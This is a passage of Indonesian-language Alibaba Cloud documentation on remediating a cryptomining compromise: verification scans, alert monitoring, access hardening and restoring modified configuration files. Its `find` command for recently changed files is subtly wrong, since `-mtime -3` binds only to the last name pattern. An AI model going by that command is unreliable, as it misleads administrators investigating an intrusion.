Gunakan snapshot untuk membuat disk cloud baru. Untuk informasi lebih lanjut, lihat Create a disk from a snapshot.
Sambungkan disk cloud ke server dengan sistem yang telah diinstal ulang. Untuk informasi lebih lanjut, lihat Attach a data disk.
Login ke server dan salin hanya data bisnis (seperti kode website dan file database) dari disk data yang disambungkan.
PentingJangan memulihkan file executable, file konfigurasi sistem, atau skrip apa pun dari snapshot lama untuk menghindari reintroduksi backdoor.
Beli layanan tanggap darurat
Alibaba Cloud menawarkan Layanan Tanggap Darurat di mana insinyur keamanan profesional dapat membantu Anda menyelesaikan masalah seperti infeksi virus. Layanan ini mencakup:
Pembersihan menyeluruh Trojan, virus, akun abnormal, file abnormal, webshell, tautan tersembunyi, dan masalah lain di sistem Anda.
Analisis metode intrusi penyerang untuk menentukan akar penyebabnya.
Panduan penguatan keamanan.
Untuk informasi lebih lanjut, lihat Emergency Response Service.
Verifikasi remediasi
Setelah pembersihan, Anda harus memverifikasi hasilnya dan memperkuat sistem untuk memastikan keamanan dan mencegah infeksi ulang.
Pindai lagi: Gunakan fitur Antivirus atau Agentless Detection di Security Center untuk melakukan pemindaian penuh pada server dan pastikan tidak ada peringatan.
Monitor performa: Terus monitor utilisasi CPU server untuk memastikan telah kembali ke level normal.
Verifikasi dengan pemindaian berkala: Satu kali pemindaian yang lolos tidak menjamin backdoor telah sepenuhnya dihapus. Beberapa backdoor penambangan sisa dideploy ulang oleh tugas terjadwal atau proses daemon setelah pembersihan awal. Konfigurasikan tugas Antivirus atau Agentless Detection berulang di Security Center, dan terus amati beberapa siklus pemindaian berturut-turut setelah pembersihan. Pastikan backdoor telah dihapus hanya setelah setiap siklus dalam jendela tersebut tidak melaporkan peringatan terkait penambangan kripto.
Verifikasi dengan memonitor peringatan: Terus periksa halaman Detection and Response > Security Events di Security Center untuk peringatan penambangan kripto, proses berbahaya, dan persistensi terkait. Jika tidak ada peringatan semacam itu yang muncul kembali untuk beberapa waktu setelah pembersihan, backdoor belum dipicu ulang. Jika peringatan jenis yang sama muncul kembali, mekanisme persistensi seperti tugas terjadwal, item startup, atau kunci publik SSH mungkin masih tersisa. Dalam kasus ini, kembali ke langkah pembersihan manual untuk investigasi lebih lanjut.
Verifikasi kerentanan terkait: Program penambangan kripto biasanya ditanamkan melalui kerentanan sistem atau aplikasi. Jika titik masuk intrusi tidak diperbaiki, server dapat terinfeksi ulang setelah pembersihan. Gunakan fitur vulnerability scanning di Security Center untuk memastikan kerentanan yang dieksploitasi dalam intrusi ini telah diperbaiki, sehingga program penambangan kripto tidak dapat ditanamkan ulang setelah backdoor dihapus.
Tangani peringatan yang path filenya tidak ada: Jika path file yang ditentukan dalam email peringatan tidak ada di server dan beban CPU normal, Anda dapat Ignore peringatan tersebut atau tandai sebagai Handled di daftar event keamanan. Login ke Konsol Security Center, pilih Detection and Response > Security Events, temukan peringatan, lalu pilih Ignore atau Handled di kolom Actions. Setelah menyelesaikan operasi, periksa apakah peringatan baru dihasilkan. Jika tidak ada peringatan baru yang muncul, Anda dapat dengan aman mengabaikan peringatan tersebut.
Penguatan keamanan
Aktifkan pertahanan proaktif untuk perilaku host berbahaya: Fitur pertahanan proaktif yang disediakan oleh Security Center dapat secara akurat mencegat program penambangan kripto, sehingga mencegah insiden penambangan kripto sebelum terjadi. Untuk informasi lebih lanjut, lihat Proactive Defense.
Perkuat kontrol akses:
Terapkan prinsip hak istimewa minimal pada security group: Konfigurasikan security group ECS untuk membuka hanya port bisnis yang diperlukan (seperti 80 dan 443). Untuk port manajemen seperti SSH (22) dan RDP (3389), pastikan hanya dibuka untuk alamat IP tepercaya dan tetap (seperti jaringan kantor Anda atau IP bastion host).
Kebijakan password: Konfigurasikan password kuat untuk sistem database atau sistem file (MySQL, PolarDB, MaxCompute, Redis, NAS, OSS), konsol manajemen layanan (seperti BT-Panel, Nacos), dan akun pengguna sistem operasi (SSH, RDP). Batasi jumlah percobaan password salah untuk mencegah intrusi brute-force.
Manajemen kerentanan dan patch:
Perbarui segera: Secara rutin terapkan patch keamanan terbaru ke sistem operasi dan perangkat lunak aplikasi Anda (seperti server web dan database).
Pemindaian kerentanan: Gunakan fitur pemindaian kerentanan di Security Center untuk secara proaktif menemukan dan memperbaiki kerentanan di sistem dan aplikasi Anda.
Perkuat keamanan aplikasi: Sebelum men-deploy kode bisnis, lakukan pengujian keamanan kode atau integrasikan dengan Web Application Firewall untuk mempertahankan diri dari serangan OWASP umum seperti SQL injection, XSS, kerentanan plugin server web umum, unggah Trojan, dan akses tidak sah ke sumber daya inti. Hal ini membantu mencegah kompromi sistem melalui kerentanan aplikasi.
Keamanan kredensial: Hindari hardcoding AccessKey Alibaba Cloud di kode atau file konfigurasi Anda. Gunakan Peran RAM atau Peran RAM Instans untuk memberikan izin kepada aplikasi, mengikuti prinsip hak istimewa minimal. Untuk informasi lebih lanjut, lihat Securely use credentials.
Pulihkan file konfigurasi aplikasi yang dimodifikasi: Selain mengonsumsi sumber daya CPU, program penambangan kripto dapat memodifikasi file konfigurasi aplikasi di server, seperti file
.propertiesRocketMQ atau file.confNginx, menyebabkan anomali layanan atau menanamkan backdoor persisten.Temukan file konfigurasi yang baru dimodifikasi: Jalankan perintah berikut untuk menemukan file konfigurasi yang dimodifikasi baru-baru ini. Cari berdasarkan beberapa ekstensi, bukan hanya
.conf, karena aplikasi seperti RocketMQ menggunakan format.properties.find / -name '*.conf' -o -name '*.properties' -o -name '*.xml' -o -name '*.yml' -mtime -3CatatanJangan hanya mencari file
.conf. Aplikasi seperti RocketMQ menggunakan file konfigurasi dalam format.properties, dan hanya mencari.confakan melewatkannya.Buat cadangan snapshot: Sebelum memulihkan file konfigurasi apa pun, buat cadangan snapshot Instance ECS, karena konfigurasi yang salah dapat menyebabkan aplikasi gagal start. Untuk informasi lebih lanjut, lihat Create a snapshot for a disk.
Pulihkan file konfigurasi: Pulihkan file konfigurasi yang dimodifikasi dari snapshot atau cadangan tepercaya lainnya, dan verifikasi bahwa konten file telah dikembalikan ke konfigurasi aslinya.
Restart layanan dan verifikasi: Setelah pemulihan, restart layanan yang terpengaruh (misalnya, jalankan
mqshutdownataumqshutdownsrvuntuk me-restart RocketMQ) dan verifikasi bahwa layanan berfungsi normal.